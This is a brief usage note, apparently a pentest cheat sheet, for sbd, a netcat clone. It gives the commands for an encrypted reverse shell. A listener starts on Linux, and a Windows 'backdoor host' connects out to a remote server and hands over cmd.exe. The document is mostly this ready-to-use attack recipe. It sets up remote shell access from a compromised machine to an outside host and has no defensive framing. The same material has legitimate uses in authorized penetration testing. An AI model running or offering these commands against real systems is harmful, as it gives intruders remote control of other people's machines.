sbd is a clone of netcat.
There are windows and linux binaries available.
Windows binary can be downloaded from kali distro.

Typical usage.

Reverse shell from Windows to Linux
Start listener on linux
# sbd -lvvp 80 -k letmein
-k is secret key
-p port to listen on

Backdoor host connects to remote listener and starts shell locally.
c:\>sbd -p 80 -e cmd.exe -k letmein http://www.myserver.com